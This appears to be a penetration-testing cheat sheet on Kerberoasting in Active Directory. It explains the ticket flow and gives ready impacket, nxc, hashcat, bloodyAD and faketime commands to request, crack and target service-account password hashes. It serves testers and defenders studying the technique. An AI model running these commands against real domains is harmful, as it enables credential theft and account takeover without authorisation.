Skip to main content
Any authenticated domain user can request a TGS (service ticket) for any account with a registered SPN. The KDC encrypts part of the TGS with the service account’s NTLM hash: take that ticket offline and crack the hash without further interaction with the domain.
Kerberos KDC flow diagram

How It Works

1

Client requests a service ticket (TGS-REQ)

The authenticated user sends a request to the KDC asking for a ticket for service X, including their TGT as proof of identity. The KDC does not verify whether you actually need to access that service.
2

KDC issues an encrypted TGS

The KDC returns a TGS ticket encrypted with the service account’s NTLM hash (RC4-HMAC or AES256 depending on the account config).
3

Take the ticket offline and crack it

You now hold a blob encrypted with the service account’s password. No further domain interaction needed, crack it offline.
authenticated user → request TGS for SPN → $krb5tgs$ blob → hashcat offline → plaintext password

Why It Works

  • SPNs identify service accounts (e.g. MSSQLSvc/db.domain.local:1433)
  • The TGS is encrypted with RC4-HMAC (etype 23) or AES256 (etype 18) using the service account’s password hash
  • No special privileges required: any domain user can request tickets
  • RC4 hashes crack significantly faster than AES256

Finding Kerberoastable Accounts

Look for user accounts (not computer accounts) with SPNs: service accounts are the target, especially ones with weak passwords.
# impacket: list SPNs without requesting tickets
GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP

# nxc
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --kerberoast output.txt

Requesting Hashes

# Request all Kerberoastable hashes
GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request -outputfile hashes.txt

# Request for a specific account
GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request-user $TARGET -outputfile hashes.txt

Cracking

RC4 hashes (etype 23, $krb5tgs$23$*) crack much faster than AES256. Try to force RC4 with /tgtdeleg if the service account supports it.
# RC4 (etype 23): hashcat mode 13100
hashcat -m 13100 hashes.txt ~/tools/wordlists/rockyou
hashcat -m 13100 hashes.txt ~/tools/wordlists/rockyou -r /usr/share/hashcat/rules/best64.rule

# AES256 (etype 18): hashcat mode 19700
hashcat -m 19700 hashes.txt ~/tools/wordlists/rockyou

Targeted Kerberoasting

If you have GenericWrite on a user account, you can set an SPN on it, request the TGS, then clean up. Useful for accounts that don’t normally have SPNs.
1

Set a fake SPN on the target account

bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  set object $TARGET servicePrincipalName -v "fake/spn.$DOMAIN"
2

Request the TGS

GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request-user $TARGET -outputfile targeted.txt
3

Clean up

bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  set object $TARGET servicePrincipalName -v ''

Clock Skew (faketime)

Kerberos requires your clock to be within 5 minutes of the DC. If you get KRB_AP_ERR_SKEW, use faketime to offset your system time for the duration of the command.
# Check DC's current time
nmap -sV --script=clock-skew $DC_IP

# Positive offset (your clock is behind)
faketime -f '+7h' GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request -outputfile hashes.txt
faketime -f '+7h' nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --kerberoast hashes.txt

# Negative offset (your clock is ahead)
faketime -f '-3h' GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request -outputfile hashes.txt